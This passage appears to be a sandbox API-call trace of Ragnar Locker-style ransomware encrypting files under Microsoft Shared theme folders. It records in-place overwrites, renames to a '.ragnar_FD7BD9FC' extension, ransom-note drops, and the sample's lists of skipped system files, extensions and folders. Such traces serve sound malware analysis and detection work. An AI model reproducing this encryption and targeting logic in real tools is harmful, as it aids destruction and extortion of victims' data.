nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.185] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.185] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.185] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.185] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.185] GetProcessHeap () returned 0x580000 [0074.185] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.186] CloseHandle (hObject=0x100) returned 1 [0074.186] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" [0074.186] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.ragnar_FD7BD9FC" [0074.186] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.187] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0074.187] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0074.187] lstrcpyW (in: lpString1=0x1eab6e, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF" [0074.187] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned=".GIF" [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="autorun.inf") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="boot.ini") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootfont.bin") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootsect.bak") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgr.efi") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="bootmgfw.efi") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="desktop.ini") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="iconcache.db") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntldr") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.dat.log") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="ntuser.ini") returned 1 [0074.187] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="thumbs.db") returned -1 [0074.187] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0074.187] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0074.187] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0074.188] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0074.188] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0074.188] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0074.188] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0074.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0074.188] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.188] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=5179) returned 1 [0074.188] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x1432, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.188] GetProcessHeap () returned 0x580000 [0074.188] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.188] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.190] VirtualAlloc (lpAddress=0x0, dwSize=0x143b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.190] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.191] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.191] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x143b, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x143b, lpOverlapped=0x0) returned 1 [0074.192] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.192] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x143b, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.192] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x143b, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x143b, lpOverlapped=0x0) returned 1 [0074.192] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x143b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.192] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.192] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x143b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.192] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.192] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.192] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.192] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.193] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.193] GetProcessHeap () returned 0x580000 [0074.193] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.193] CloseHandle (hObject=0x100) returned 1 [0074.194] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" [0074.194] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.ragnar_FD7BD9FC" [0074.194] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.194] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e452ce0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7e452ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0074.194] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0074.194] lstrcpyW (in: lpString1=0x1eab6e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0074.194] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\RGNR_FD7BD9FC.txt") returned=".txt" [0074.194] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0074.194] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0074.195] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x46 [0074.195] lstrcpyW (in: lpString1=0x1eab6e, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG" [0074.195] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned=".PNG" [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="autorun.inf") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="boot.ini") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootfont.bin") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootsect.bak") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgr.efi") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="bootmgfw.efi") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="desktop.ini") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="iconcache.db") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntldr") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.dat.log") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="ntuser.ini") returned 1 [0074.195] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="thumbs.db") returned -1 [0074.195] lstrcmpiW (lpString1=".PNG", lpString2=".db") returned 1 [0074.195] lstrcmpiW (lpString1=".PNG", lpString2=".sys") returned -1 [0074.195] lstrcmpiW (lpString1=".PNG", lpString2=".dll") returned 1 [0074.195] lstrcmpiW (lpString1=".PNG", lpString2=".lnk") returned 1 [0074.195] lstrcmpiW (lpString1=".PNG", lpString2=".msi") returned 1 [0074.195] lstrcmpiW (lpString1=".PNG", lpString2=".drv") returned 1 [0074.195] lstrcmpiW (lpString1=".PNG", lpString2=".exe") returned 1 [0074.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0074.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0074.196] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=33559) returned 1 [0074.196] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x830e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.196] GetProcessHeap () returned 0x580000 [0074.196] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0074.196] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0074.197] VirtualAlloc (lpAddress=0x0, dwSize=0x8317, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0074.198] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.198] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0074.198] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8317, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x8317, lpOverlapped=0x0) returned 1 [0074.199] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0074.200] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8317, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.200] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8317, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x8317, lpOverlapped=0x0) returned 1 [0074.200] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8317, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.200] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0074.200] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x8317, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.200] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.200] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.200] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0074.200] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0074.201] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.201] GetProcessHeap () returned 0x580000 [0074.201] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0074.201] CloseHandle (hObject=0x100) returned 1 [0074.202] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" [0074.202] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0074.202] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0074.202] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0074.202] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0074.203] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2=".") returned 1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="..") returned 1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="Windows") returned -1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="Windows.old") returned -1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="Tor browser") returned -1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="Internet Explorer") returned 1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="Google") returned 1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="Opera") returned -1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="Opera Software") returned -1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="Mozilla") returned -1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="Mozilla Firefox") returned -1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="$Recycle.Bin") returned 1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="ProgramData") returned -1 [0074.203] lstrcmpiW (lpString1="IRIS", lpString2="All Users") returned 1 [0074.203] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0074.203] lstrcpyW (in: lpString1=0x1eb638, lpString2="IRIS" | out: lpString1="IRIS") returned="IRIS" [0074.203] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\" [0074.203] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\" [0074.203] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\RGNR_FD7BD9FC.txt" [0074.203] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0074.209] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*" [0074.209] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0074.209] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.209] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0074.209] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, 